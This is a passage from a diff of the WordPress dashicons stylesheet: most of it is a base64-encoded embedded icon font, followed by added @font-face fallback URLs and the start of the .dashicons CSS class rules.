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) format('woff'),
+		url(../fonts/dashicons.ttf) format("truetype"),
+		url(../fonts/dashicons.svg#dashicons) format("svg");
+	font-weight: normal;
+	font-style: normal;
+}
+
+.dashicons,
+.dashicons-before:before {
+	display: inline-block;
+	width: 20px;
+	height: 20px;
+	font-size: 20px;
+	line-height: 1;
+	font-family: dashicons;
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
